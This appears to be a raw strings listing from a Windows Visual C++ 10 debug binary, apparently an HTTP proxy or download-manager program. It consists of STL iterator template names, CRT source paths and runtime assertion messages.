std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,1> > >::operator

std::vector<class CachedBuffer,class std::allocator<class CachedBuffer> >::operator []

std::_List_const_iterator<class std::_List_val<class HttpProxyRemote *,class std::allocator<class HttpProxyRemote *> > >::operator

std::_List_const_iterator<class std::_List_val<class HttpProxyRemote *,class std::allocator<class HttpProxyRemote *> > >::operator ==

std::_List_const_iterator<class std::_List_val<enum FileDownloadMgr::WORKING_THREAD_COMMAND,class std::allocator<enum FileDownloadMgr::WORKING_THREAD_COMMAND> > >::operator

std::_List_const_iterator<class std::_List_val<enum FileDownloadMgr::WORKING_THREAD_COMMAND,class std::allocator<enum FileDownloadMgr::WORKING_THREAD_COMMAND> > >::operator ==

std::_Deque_const_iterator<class RequestInfo *,class std::allocator<class RequestInfo *> >::operator *

std::_List_const_iterator<class std::_List_val<class HttpProxyRemote *,class std::allocator<class HttpProxyRemote *> > >::operator *

std::_List_const_iterator<class std::_List_val<enum FileDownloadMgr::WORKING_THREAD_COMMAND,class std::allocator<enum FileDownloadMgr::WORKING_THREAD_COMMAND> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class HttpCookie *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class HttpCookie *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> > > >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> > > >,0> > >::operator ==

std::_List_const_iterator<class std::_List_val<class HttpCookie *,class std::allocator<class HttpCookie *> > >::operator

std::_List_const_iterator<class std::_List_val<class HttpCookie *,class std::allocator<class HttpCookie *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class HttpCookie *,class std::allocator<class HttpCookie *> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> > > >,0> > >::operator

std::_List_const_iterator<class std::_List_val<class HttpCookie *,class std::allocator<class HttpCookie *> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class HttpCookie *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class HttpCookie *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> > > >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class HttpCookie *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class HttpCookie *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class HttpCookie *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class HttpCookie *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class EventImplTable,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class EventImplTable> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class EventImplTable,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class EventImplTable> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class EventImplTable,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class EventImplTable> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class EventImplTable,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class EventImplTable> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class IProxyExtension *,struct std::less<int>,class std::allocator<struct std::pair<int const ,class IProxyExtension *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class IProxyExtension *,struct std::less<int>,class std::allocator<struct std::pair<int const ,class IProxyExtension *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class IProxyExtension *,struct std::less<int>,class std::allocator<struct std::pair<int const ,class IProxyExtension *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class IProxyExtension *,struct std::less<int>,class std::allocator<struct std::pair<int const ,class IProxyExtension *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class CNetworkInterfaceManager::InterfaceInfo *,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class CNetworkInterfaceManager::InterfaceInfo *> >,0> > >::operator ==

std::_List_const_iterator<class std::_List_val<class INetworkInterfaceEvents *,class std::allocator<class INetworkInterfaceEvents *> > >::operator

std::_List_const_iterator<class std::_List_val<class INetworkInterfaceEvents *,class std::allocator<class INetworkInterfaceEvents *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class INetworkInterfaceEvents *,class std::allocator<class INetworkInterfaceEvents *> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class CNetworkInterfaceManager::InterfaceInfo *,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class CNetworkInterfaceManager::InterfaceInfo *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class CNetworkInterfaceManager::InterfaceInfo *,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class CNetworkInterfaceManager::InterfaceInfo *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class CNetworkInterfaceManager::InterfaceInfo *,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class CNetworkInterfaceManager::InterfaceInfo *> >,0> > >::operator

std::_Deque_const_iterator<enum LightXML::ParseState,class std::allocator<enum LightXML::ParseState> >::operator *

std::_Deque_const_iterator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,class std::allocator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >::operator *

std::_List_const_iterator<class std::_List_val<class CHttpCacheData *,class std::allocator<class CHttpCacheData *> > >::operator

std::_List_const_iterator<class std::_List_val<class CHttpCacheData *,class std::allocator<class CHttpCacheData *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class CHttpCacheData *,class std::allocator<class CHttpCacheData *> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class SubjectDataProperty,struct std::less<int>,class std::allocator<struct std::pair<int const ,class SubjectDataProperty> >,0> > >::operator ==

std::_List_const_iterator<class std::_List_val<class SubjectDataProperty,class std::allocator<class SubjectDataProperty> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IObserver *,class IObserver *,struct std::less<class IObserver *>,class std::allocator<struct std::pair<class IObserver * const,class IObserver *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class SubjectDataProperty,struct std::less<int>,class std::allocator<struct std::pair<int const ,class SubjectDataProperty> >,0> > >::operator *

std::_List_const_iterator<class std::_List_val<class SubjectDataProperty,class std::allocator<class SubjectDataProperty> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IObserver *,class IObserver *,struct std::less<class IObserver *>,class std::allocator<struct std::pair<class IObserver * const,class IObserver *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class SubjectDataProperty,struct std::less<int>,class std::allocator<struct std::pair<int const ,class SubjectDataProperty> >,0> > >::operator

std::_List_const_iterator<class std::_List_val<class SubjectDataProperty,class std::allocator<class SubjectDataProperty> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IObserver *,class IObserver *,struct std::less<class IObserver *>,class std::allocator<struct std::pair<class IObserver * const,class IObserver *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class SubjectDataProperty,struct std::less<int>,class std::allocator<struct std::pair<int const ,class SubjectDataProperty> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IObserver *,class IObserver *,struct std::less<class IObserver *>,class std::allocator<struct std::pair<class IObserver * const,class IObserver *> >,0> > >::operator --

std::_List_const_iterator<class std::_List_val<class ICacheWorker *,class std::allocator<class ICacheWorker *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class ICacheWorker *,class std::allocator<class ICacheWorker *> > >::operator

std::_List_const_iterator<class std::_List_val<class ICacheWorker *,class std::allocator<class ICacheWorker *> > >::operator --

std::_List_const_iterator<class std::_List_val<class ICacheWorker *,class std::allocator<class ICacheWorker *> > >::operator *

std::_List_const_iterator<class std::_List_val<class JobInfo *,class std::allocator<class JobInfo *> > >::operator

std::_List_const_iterator<class std::_List_val<class JobInfo *,class std::allocator<class JobInfo *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class JobInfo *,class std::allocator<class JobInfo *> > >::operator --

std::_List_const_iterator<class std::_List_val<class JobInfo *,class std::allocator<class JobInfo *> > >::operator *

std::_List_const_iterator<class std::_List_val<class CConnectionsManagerSocket *,class std::allocator<class CConnectionsManagerSocket *> > >::operator

std::_List_const_iterator<class std::_List_val<class CConnectionsManagerSocket *,class std::allocator<class CConnectionsManagerSocket *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class CConnectionsManagerSocket *,class std::allocator<class CConnectionsManagerSocket *> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class AccelerationData *,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class AccelerationData *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class AccelerationData *,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class AccelerationData *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,unsigned int,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,unsigned int> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,unsigned int,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,unsigned int> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class AccelerationData *,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class AccelerationData *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,unsigned int,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,unsigned int> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class AccelerationData *,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class AccelerationData *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,unsigned int,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,unsigned int> >,0> > >::operator --

f:\dd\vctools\crt_bld\self_x86\crt\src\xstring

f:\dd\vctools\crt_bld\self_x86\crt\src\streambuf

std::_String_const_iterator<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >::operator

std::_String_const_iterator<unsigned short,struct std::char_traits<unsigned short>,class std::allocator<unsigned short> >::operator *

std::_String_const_iterator<unsigned short,struct std::char_traits<unsigned short>,class std::allocator<unsigned short> >::operator

std::_String_const_iterator<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >::operator  =

std::_String_const_iterator<unsigned short,struct std::char_traits<unsigned short>,class std::allocator<unsigned short> >::operator  =

cf:\dd\vctools\crt_bld\self_x86\crt\src\dbgdel.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\sprintf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c

_CrtCheckMemory()

_CrtIsValidHeapPointer(pUserData)

_CrtSetDbgFlag

(fNewBits==_CRTDBG_REPORT_FLAG) || ((fNewBits & 0x0ffff & ~(_CRTDBG_ALLOC_MEM_DF | _CRTDBG_DELAY_FREE_MEM_DF | _CRTDBG_CHECK_ALWAYS_DF | _CRTDBG_CHECK_CRT_DF | _CRTDBG_LEAK_CHECK_DF) ) == 0)

_CrtMemCheckpoint

f:\dd\vctools\crt_bld\self_x86\crt\src\printf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fopen.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fread.c

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrpt.c

wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error")

memcpy_s(szShortProgName, sizeof(TCHAR) * (260 - (szShortProgName - szExeName)), dotdotdot, sizeof(TCHAR) * 3)

wcscpy_s(szExeName, 260, L"<program name unknown>")

__crtMessageWindowW

f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c

f:\dd\vctools\crt_bld\self_x86\crt\src\malloc.h

("Corrupted pointer passed to _freea", 0)

f:\dd\vctools\crt_bld\self_x86\crt\src\fclose.c

mscoree.dll

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbcpy.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsrchr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\vsprintf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\gmtime64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbschr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbscmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsncmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsncpy.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbcat.c

f:\dd\vctools\crt_bld\self_x86\crt\src\tcscpy_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsstr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strlwr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\wcsicmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\stricmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsicmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strnicmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\feoferr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fwrite.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mktime64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\sscanf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\loctim64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\ftell.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fseek.c

f:\dd\vctools\crt_bld\self_x86\crt\src\access.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fputc.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fprintf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fdopen.c

f:\dd\vctools\crt_bld\self_x86\crt\src\memicmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strtol.c

f:\dd\vctools\crt_bld\self_x86\crt\src\bsearch.c

f:\dd\vctools\crt_bld\self_x86\crt\src\stat64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\tcsncpy_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\tcscat_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbcmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fgets.c

strcpy_s(errmsg, (94 38 2), _get_sys_err_msg(errnum))

.sizeInTChars > 0

f:\dd\vctools\crt_bld\self_x86\crt\src\memmove_s.c

f:\dd\vctools\crt_bld\self_x86\crt\src\xtoa.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strtod.c

f:\dd\vctools\crt_bld\self_x86\crt\src\a_cmp.c

("Invalid MBCS character sequence passed to strftime",0)

("Invalid MBCS character sequence passed into strftime",0)

f:\dd\vctools\crt_bld\self_x86\crt\src\memcpy_s.c

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), error_text)

wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"\n\n")

wcscpy_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"Runtime Error!\n\nProgram: ")

_NMSG_WRITE

f:\dd\vctools\crt_bld\self_x86\crt\src\crt0msg.c

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\eh\typname.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c

strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")

strcpy_s(szExeName, 260, "<program name unknown>")

__crtMessageWindowA

f:\dd\vctools\crt_bld\self_x86\crt\src\expand.c

f:\dd\vctools\crt_bld\self_x86\crt\src\localref.c

((ptloci->lc_category[category].wlocale != NULL) && (ptloci->lc_category[category].wrefcount != NULL)) || ((ptloci->lc_category[category].wlocale == NULL) && (ptloci->lc_category[category].wrefcount == NULL))

KERNEL32.DLL

f:\dd\vctools\crt_bld\self_x86\crt\src\isctype.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_open.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_filbuf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fileno.c

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c

wcscpy_s(szOutMessage2, 4096, L"_CrtDbgReport: String too long or Invalid characters in String")

strcpy_s(szUserMessage, 4096, "_CrtDbgReport: String too long or IO Error")

_VCrtDbgReportA

strcpy_s(szOutMessage2, 4096, "_CrtDbgReport: String too long or Invalid characters in String")

wcscpy_s(szUserMessage, 4096, L"_CrtDbgReport: String too long or IO Error")

_VCrtDbgReportW

f:\dd\vctools\crt_bld\self_x86\crt\src\winsig.c

WUSER32.DLL

f:\dd\vctools\crt_bld\self_x86\crt\src\close.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_freebuf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbstok_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\strtoq.c

f:\dd\vctools\crt_bld\self_x86\crt\src\intel\fp8.c

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\cvt.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsbtype.c

f:\dd\vctools\crt_bld\self_x86\crt\src\write.c

f:\dd\vctools\crt_bld\self_x86\crt\src\commit.c

f:\dd\vctools\crt_bld\self_x86\crt\src\timeset.c

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\include\strgtold12.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\lseek.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fstat64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\open.c

0 && "Only UTF-16 little endian & UTF-8 is supported for reads"

f:\dd\vctools\crt_bld\self_x86\crt\src\dtoxtm64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbscspn.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fullpath.c

f:\dd\vctools\crt_bld\self_x86\crt\src\getqloc.c

f:\dd\vctools\crt_bld\self_x86\crt\src\errmode.c

f:\dd\vctools\crt_bld\self_x86\crt\src\lseeki64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\isatty.c

f:\dd\vctools\crt_bld\self_x86\crt\src\wctomb.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbicm.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbstowcs.c

f:\dd\vctools\crt_bld\self_x86\crt\src\vswprint.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbtowc.c

_loc_update.GetLocaleT()->locinfo->mb_cur_max == 1 || _loc_update.GetLocaleT()->locinfo->mb_cur_max == 2

f:\dd\vctools\crt_bld\self_x86\crt\src\strtok_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\tran\contrlfp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_fptostr.c

strcpy_s(resultstr, resultsize, autofos.man)

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\cfout.c

f:\dd\vctools\crt_bld\self_x86\crt\src\getenv.c

f:\dd\vctools\crt_bld\self_x86\crt\src\ungetc_nolock.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\setmode.c

f:\dd\vctools\crt_bld\self_x86\crt\src\getcwd.c

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\x10fout.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbico.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strnicol.c

("CRT Logic error during setenv",0)

__crtsetenv

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISubject *,class ISubject *,struct std::less<class ISubject *>,class std::allocator<struct std::pair<class ISubject * const,class ISubject *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISubject *,class ISubject *,struct std::less<class ISubject *>,class std::allocator<struct std::pair<class ISubject * const,class ISubject *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct ChangeManager::RegistrationDetails *,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,struct ChangeManager::RegistrationDetails *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISubject *,class ISubject *,struct std::less<class ISubject *>,class std::allocator<struct std::pair<class ISubject * const,class ISubject *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct ChangeManager::RegistrationDetails *,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,struct ChangeManager::RegistrationDetails *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct ChangeManager::RegistrationDetails *,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,struct ChangeManager::RegistrationDetails *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISubject *,class ISubject *,struct std::less<class ISubject *>,class std::allocator<struct std::pair<class ISubject * const,class ISubject *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct ChangeManager::RegistrationDetails *,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,struct ChangeManager::RegistrationDetails *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<struct HKEY__ *,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<struct HKEY__ *>,class std::allocator<struct std::pair<struct HKEY__ * const,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<struct HKEY__ *,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<struct HKEY__ *>,class std::allocator<struct std::pair<struct HKEY__ * const,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<struct HKEY__ *,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<struct HKEY__ *>,class std::allocator<struct std::pair<struct HKEY__ * const,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<struct HKEY__ *,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<struct HKEY__ *>,class std::allocator<struct std::pair<struct HKEY__ * const,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator --

\\.\jsdrv1498

stproxy.cpp

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xstring

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\list

std::_List_const_iterator<class std::_List_val<struct json::Object::Member,class std::allocator<struct json::Object::Member> > >::operator ==

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\vector

std::_Vector_const_iterator<class std::_Vector_val<struct json::Reader::Token,class std::allocator<struct json::Reader::Token> > >::operator *

std::_Vector_const_iterator<class std::_Vector_val<struct json::Reader::Token,class std::allocator<struct json::Reader::Token> > >::operator

std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator *

std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xtree

std::_List_const_iterator<class std::_List_val<struct json::Object::Member,class std::allocator<struct json::Object::Member> > >::operator --

std::_Deque_const_iterator<class json::UnknownElement,class std::allocator<class json::UnknownElement> >::operator *

std::_Vector_const_iterator<class std::_Vector_val<struct json::Reader::Token,class std::allocator<struct json::Reader::Token> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tset_traits<char,struct std::less<char>,class std::allocator<char>,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISockEmulator *,class EmuSession *,struct std::less<class ISockEmulator *>,class std::allocator<struct std::pair<class ISockEmulator * const,class EmuSession *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned __int64,class EmuSession *,struct std::less<unsigned __int64>,class std::allocator<struct std::pair<unsigned __int64 const ,class EmuSession *> >,0> > >::operator ==

std::_List_const_iterator<class std::_List_val<struct json::Object::Member,class std::allocator<struct json::Object::Member> > >::operator *

std::_List_const_iterator<class std::_List_val<struct json::Object::Member,class std::allocator<struct json::Object::Member> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISockEmulator *,class EmuSession *,struct std::less<class ISockEmulator *>,class std::allocator<struct std::pair<class ISockEmulator * const,class EmuSession *> >,0> > >::operator *

